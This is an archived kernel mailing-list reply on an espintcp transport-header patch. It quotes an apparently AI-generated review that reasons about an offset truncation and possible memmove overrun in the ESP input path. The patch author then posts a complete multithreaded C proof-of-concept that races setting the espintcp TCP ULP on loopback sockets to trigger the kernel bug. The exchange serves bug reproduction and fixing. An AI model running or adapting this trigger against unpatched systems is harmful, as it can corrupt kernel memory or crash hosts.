From: Wyatt Feng <wf.kernel.dev@gmail.com>
To: Steffen Klassert <steffen.klassert@secunet.com>
Cc: Jakub Kicinski <kuba@kernel.org>,
davem@davemloft.net, herbert@gondor.apana.org.au,
netdev@vger.kernel.org
Subject: Re: [PATCH 12/12] net: xfrm: reject unrepresentable espintcp transport headers
Date: Fri, 18 Sep 2026 19:30:18 -0700 [thread overview]
Message-ID: <aq3w_Lv1pUP80ujM@mail.google.com> (raw)
In-Reply-To: <aqfK5ap1hORomJmY@secunet.com>
On Mon, Sep 14, 2026 at 12:22:29PM -0800, Steffen Klassert wrote:
> Ccing Author of the patch.
>
> On Tue, Sep 08, 2026 at 03:49:02PM -0700, Jakub Kicinski wrote:
> > This is an AI-generated review of your patch. The human sending this
> > email has considered the AI review valid, or at least plausible.
> > ---
> > net: xfrm: reject unrepresentable espintcp transport headers
> >
> > handle_esp() in net/xfrm/espintcp.c switches from the plain transport
> > header reset to skb_reset_transport_header_careful(), and drops the skb
> > with LINUX_MIB_XFRMINERROR when the offset does not fit in
> > skb->transport_header.
> >
> > > diff --git a/net/xfrm/espintcp.c b/net/xfrm/espintcp.c
> > > index 674aedc5af5a2..3e72b9f067b9b 100644
> > > --- a/net/xfrm/espintcp.c
> > > +++ b/net/xfrm/espintcp.c
> > > @@ -30,7 +30,11 @@ static void handle_esp(struct sk_buff *skb, struct sock *sk)
> > > {
> > > struct tcp_skb_cb *tcp_cb = (struct tcp_skb_cb *)skb->cb;
> > >
> > > - skb_reset_transport_header(skb);
> > > + if (!skb_reset_transport_header_careful(skb)) {
> > > + XFRM_INC_STATS(sock_net(sk), LINUX_MIB_XFRMINERROR);
> > > + kfree_skb(skb);
> > > + return;
> > > + }
> >
> > [Severity: High]
> > Is this gate placed early enough to cover the pulls that the ESP input
> > path performs on the same skb afterwards?
> >
> > skb_reset_transport_header_careful() in include/linux/skbuff.h only
> > rejects offsets that are already unrepresentable:
> >
> > long offset = skb->data - skb->head;
> >
> > if (unlikely(offset != (typeof(skb->transport_header))offset))
> > return false;
> >
> > if (unlikely(offset == (typeof(skb->transport_header))~0U))
> > return false;
> >
> > so any offset up to 65534 is accepted here with no margin left.
> >
> > handle_esp() then calls xfrm4_rcv_encap()/xfrm6_rcv_encap(), and the
> > chain xfrm_input() -> esp_input() -> esp_input_done2() pulls the ESP
> > header and IV off the very same skb and resets the transport header with
> > the unhardened helpers, in net/ipv4/esp4.c:
> >
> > skb_pull_rcsum(skb, hlen);
> > if (x->props.mode == XFRM_MODE_TUNNEL ||
> > x->props.mode == XFRM_MODE_IPTFS)
> > skb_reset_transport_header(skb);
> > else
> > skb_set_transport_header(skb, -ihl);
> >
> > with hlen = sizeof(struct ip_esp_hdr) + crypto_aead_ivsize(aead).
> > esp6_input_done2() in net/ipv6/esp6.c has the same shape for the
> > AF_INET6 branch of handle_esp().
> >
> > For an skb whose head offset lands in the window [65536 - hlen, 65534],
> > the new check passes but the offset after skb_pull_rcsum() no longer
> > fits, so doesn't the truncation the changelog wants to eliminate simply
> > move downstream, now on a partially decrypted packet instead of a clean
> > drop?
> >
> > Can such near-limit offsets be reached in practice? espintcp_rcv() does:
> >
> > /* remove header, leave non-ESP marker/SPI */
> > if (!pskb_pull(skb, rxm->offset + 2)) {
> >
> > which makes skb->data - skb->head equal to the initial payload offset
> > plus rxm->offset + 2, and rxm->offset is bounded only by the size of one
> > coalesced TCP receive-queue skb. If offsets at or above 65535 are
> > reachable (which is the premise of this patch), offsets a few bytes below
> > 65536 look equally reachable, and the peer selects them at byte
> > granularity through the 16-bit espintcp length prefix.
> >
> > For ESP transport mode there also seems to be a second-order effect. With
> > k = (offset + hlen) - 65536 and k >= ihl, esp_input_done2() leaves
> > transport_header at (k - ihl), i.e. wrapped, and
> > xfrm4_transport_input()/xfrm6_transport_input() in net/xfrm/xfrm_input.c
> > consume it directly:
> >
> > int ihl = skb->data - skb_transport_header(skb);
> >
> > if (skb->transport_header != skb->network_header) {
> > memmove(skb_transport_header(skb),
> > skb_network_header(skb), ihl);
> > ...
> > skb_reset_transport_header(skb);
> >
> > Can ihl here become roughly 64 KiB and turn that memmove() into a copy
> > that runs past the packet data into the trailing skb_shared_info? With
> > AES-CBC (ivsize 16, hlen 24) k can be 20..23, which is >= a 20-byte ihl.
> >
> > Would it make sense either to give the espintcp check a margin covering
> > the largest downstream ESP header plus IV pull (or avoid the large linear
> > pull in espintcp_rcv() altogether), or to convert the esp4/esp6 and
> > xfrm_input transport-mode reset sites to the careful helpers as well?
> >
> > Conversely, if offsets in that window cannot occur, what makes the check
> > added here reachable at all?
>
> The patch did not add a regression, but the question if that
> can be triggered at all is valid.
>
> Wyatt can you explain how you tiggered this bug?
Yes, I have a PoC here as follows. This PoC can trigger the bug on
kernels prior to commit 96f01b53c2d. To run the PoC, compile it first:
gcc -pthread -o poc poc.c
and then run the poc binary.
Let me know if you have further questions!
------BEGIN PoC------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#ifndef TCP_ULP
#define TCP_ULP 31
#endif
#define DEFAULT_WORKERS 8
#define DEFAULT_ATTEMPTS 20000
#define FILL_TARGET (8U << 20)
struct pair {
int client_fd;
int server_fd;
atomic_int start;
atomic_int stop;
};
struct worker_arg {
int id;
int attempts;
};
static int cpu_count(void)
{
long n = sysconf(_SC_NPROCESSORS_ONLN);
return n > 0 ? (int)n : 1;
}
static void pin_current(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
pthread_setaffinity_np(pthread_self(), sizeof(set), &set);
}
static int set_nonblock(int fd)
{
int flags = fcntl(fd, F_GETFL, 0);
if (flags < 0)
return -1;
return fcntl(fd, F_SETFL, flags | O_NONBLOCK);
}
static void tune_socket(int fd)
{
int one = 1;
int buf = 1 << 20;
setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));
setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &buf, sizeof(buf));
setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &buf, sizeof(buf));
}
static void close_pair(struct pair *p)
{
if (p->client_fd >= 0)
close(p->client_fd);
if (p->server_fd >= 0)
close(p->server_fd);
}
static int open_listener(uint16_t *port)
{
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
};
socklen_t len = sizeof(addr);
int one = 1;
int fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0)
return -1;
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
goto fail;
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
goto fail;
if (listen(fd, 128) < 0)
goto fail;
if (getsockname(fd, (struct sockaddr *)&addr, &len) < 0)
goto fail;
*port = ntohs(addr.sin_port);
return fd;
fail:
close(fd);
return -1;
}
static int make_pair(int listen_fd, uint16_t port, struct pair *p)
{
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
.sin_port = htons(port),
};
socklen_t len = sizeof(addr);
memset(p, 0, sizeof(*p));
p->client_fd = -1;
p->server_fd = -1;
atomic_init(&p->start, 0);
atomic_init(&p->stop, 0);
p->client_fd = socket(AF_INET, SOCK_STREAM, 0);
if (p->client_fd < 0)
return -1;
tune_socket(p->client_fd);
if (connect(p->client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
goto fail;
p->server_fd = accept(listen_fd, (struct sockaddr *)&addr, &len);
if (p->server_fd < 0)
goto fail;
tune_socket(p->server_fd);
if (set_nonblock(p->client_fd) < 0 || set_nonblock(p->server_fd) < 0)
goto fail;
return 0;
fail:
close_pair(p);
return -1;
}
static void prefill_client(int fd)
{
char buf[4096];
size_t total = 0;
memset(buf, 'A', sizeof(buf));
while (total < FILL_TARGET) {
ssize_t n = send(fd, buf, sizeof(buf), MSG_DONTWAIT | MSG_NOSIGNAL);
if (n > 0) {
total += (size_t)n;
continue;
}
if (n < 0 && errno == EINTR)
continue;
if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK))
return;
return;
}
}
static void *server_reader(void *arg)
{
struct pair *p = arg;
char buf[1 << 15];
if (cpu_count() > 1)
pin_current(1);
while (!atomic_load_explicit(&p->start, memory_order_acquire))
;
while (!atomic_load_explicit(&p->stop, memory_order_relaxed)) {
ssize_t n = recv(p->server_fd, buf, sizeof(buf), MSG_DONTWAIT);
if (n > 0)
continue;
if (n == 0)
break;
if (n < 0 && errno == EINTR)
continue;
if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
sched_yield();
continue;
}
break;
}
return NULL;
}
static void *server_writer(void *arg)
{
struct pair *p = arg;
char buf[64];
memset(buf, 'B', sizeof(buf));
if (cpu_count() > 1)
pin_current(1);
while (!atomic_load_explicit(&p->start, memory_order_acquire))
;
while (!atomic_load_explicit(&p->stop, memory_order_relaxed)) {
ssize_t n = send(p->server_fd, buf, sizeof(buf),
MSG_DONTWAIT | MSG_NOSIGNAL);
if (n >= 0)
continue;
if (errno == EINTR)
continue;
if (errno == EAGAIN || errno == EWOULDBLOCK) {
sched_yield();
continue;
}
break;
}
return NULL;
}
static void *worker(void *arg)
{
struct worker_arg *w = arg;
const char ulp[] = "espintcp";
uint16_t port;
int listen_fd;
if (cpu_count() > 0)
pin_current(w->id % cpu_count());
listen_fd = open_listener(&port);
if (listen_fd < 0)
return NULL;
for (int i = 0; i < w->attempts; i++) {
struct pair p;
pthread_t reader;
pthread_t writer;
if (make_pair(listen_fd, port, &p) < 0)
continue;
prefill_client(p.client_fd);
if (pthread_create(&reader, NULL, server_reader, &p) != 0) {
close_pair(&p);
continue;
}
if (pthread_create(&writer, NULL, server_writer, &p) != 0) {
atomic_store(&p.stop, 1);
pthread_join(reader, NULL);
close_pair(&p);
continue;
}
atomic_store_explicit(&p.start, 1, memory_order_release);
setsockopt(p.client_fd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp) - 1);
atomic_store(&p.stop, 1);
pthread_join(writer, NULL);
pthread_join(reader, NULL);
shutdown(p.client_fd, SHUT_RDWR);
shutdown(p.server_fd, SHUT_RDWR);
close_pair(&p);
}
close(listen_fd);
return NULL;
}
int main(int argc, char **argv)
{
int workers = argc > 1 ? atoi(argv[1]) : DEFAULT_WORKERS;
int attempts = argc > 2 ? atoi(argv[2]) : DEFAULT_ATTEMPTS;
pthread_t *threads;
struct worker_arg *args;
if (workers < 1)
workers = 1;
if (attempts < 1)
attempts = 1;
signal(SIGPIPE, SIG_IGN);
threads = calloc((size_t)workers, sizeof(*threads));
args = calloc((size_t)workers, sizeof(*args));
if (!threads || !args)
return 1;
fprintf(stderr, "espintcp race: workers=%d attempts=%d\n",
workers, attempts);
for (int i = 0; i < workers; i++) {
args[i].id = i;
args[i].attempts = attempts;
if (pthread_create(&threads[i], NULL, worker, &args[i]) != 0)
return 1;
}
for (int i = 0; i < workers; i++)
pthread_join(threads[i], NULL);
return 0;
}
------END PoC--------
next prev parent reply other threads:[~2026-09-19 2:30 UTC|newest]
Thread overview: 48+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-09-07 9:29 [PATCH 0/12] pull request (net): ipsec 2026-09-07 Steffen Klassert
2026-09-07 9:29 ` [PATCH 01/12] xfrm: iptfs: fix stack OOB read in iptfs_skb_reset_frag_walk() Steffen Klassert
2026-09-08 22:48 ` Jakub Kicinski
2026-09-14 10:37 ` Steffen Klassert
2026-09-15 8:31 ` Roshan Kumar
2026-09-16 9:02 ` Steffen Klassert
2026-09-07 9:29 ` [PATCH 02/12] xfrm: serialize state GC with device state flush Steffen Klassert
2026-09-08 22:48 ` Jakub Kicinski
2026-09-14 11:23 ` Steffen Klassert
2026-09-14 12:14 ` Chengfeng Ye
2026-09-07 9:29 ` [PATCH 03/12] xfrm: add missing RCU read lock in xfrm_send_migrate_state() Steffen Klassert
2026-09-07 9:29 ` [PATCH 04/12] xfrm: iptfs: fix runt reassembly panic from short inner tot_len Steffen Klassert
2026-09-08 22:48 ` Jakub Kicinski
2026-09-14 9:19 ` Steffen Klassert
2026-09-07 9:29 ` [PATCH 05/12] ipv6: xfrm: use full sockets in local error paths Steffen Klassert
2026-09-08 22:48 ` Jakub Kicinski
2026-09-14 9:25 ` Steffen Klassert
2026-09-07 9:29 ` [PATCH 06/12] xfrm: fix compat ALLOCSPI request use-after-free Steffen Klassert
2026-09-07 9:29 ` [PATCH 07/12] xfrm: add missing rcu_read_lock(), skb_dst_force() and dev_hold() for xfrm_trans_reinject() Steffen Klassert
2026-09-08 22:48 ` Jakub Kicinski
2026-09-14 11:30 ` Steffen Klassert
2026-09-07 9:29 ` [PATCH 08/12] xfrm: use hlist_del_init_rcu for state_cache and state_cache_input Steffen Klassert
2026-09-08 22:48 ` Jakub Kicinski
2026-09-07 9:29 ` [PATCH 09/12] esp: downgrade zerocopy managed frags before mutating skb frags Steffen Klassert
2026-09-08 22:49 ` Jakub Kicinski
2026-09-14 9:55 ` Steffen Klassert
2026-09-07 9:29 ` [PATCH 10/12] xfrm: hold net_device reference under RCU in bundle creation Steffen Klassert
2026-09-08 22:49 ` Jakub Kicinski
2026-09-14 9:57 ` Steffen Klassert
2026-09-07 9:29 ` [PATCH 11/12] xfrm: save input state data before secpath resets Steffen Klassert
2026-09-07 9:29 ` [PATCH 12/12] net: xfrm: reject unrepresentable espintcp transport headers Steffen Klassert
2026-09-08 22:49 ` Jakub Kicinski
2026-09-14 10:22 ` Steffen Klassert
2026-09-19 2:30 ` Wyatt Feng [this message]
2026-09-09 6:38 ` Some clarifications on the upstreaming process (was: [PATCH 0/12] pull request (net): ipsec 2026-09-07) Steffen Klassert
2026-09-09 9:23 ` Some clarifications on the upstreaming process Paolo Abeni
2026-09-09 10:22 ` Matthieu Baerts
2026-09-10 8:17 ` Steffen Klassert
2026-09-10 8:35 ` Matthieu Baerts
2026-09-10 9:28 ` Steffen Klassert
2026-09-09 10:23 ` Steffen Klassert
2026-09-09 10:34 ` Paolo Abeni
2026-09-09 10:44 ` Steffen Klassert
2026-09-09 18:57 ` Jakub Kicinski
2026-09-10 8:29 ` Matthieu Baerts
2026-09-10 9:02 ` Steffen Klassert
2026-09-14 11:34 ` Steffen Klassert
2026-09-16 10:05 ` Steffen Klassert
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=aq3w_Lv1pUP80ujM@mail.google.com \
--to=wf.kernel.dev@gmail.com \
--cc=davem@davemloft.net \
--cc=herbert@gondor.apana.org.au \
--cc=kuba@kernel.org \
--cc=netdev@vger.kernel.org \
--cc=steffen.klassert@secunet.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).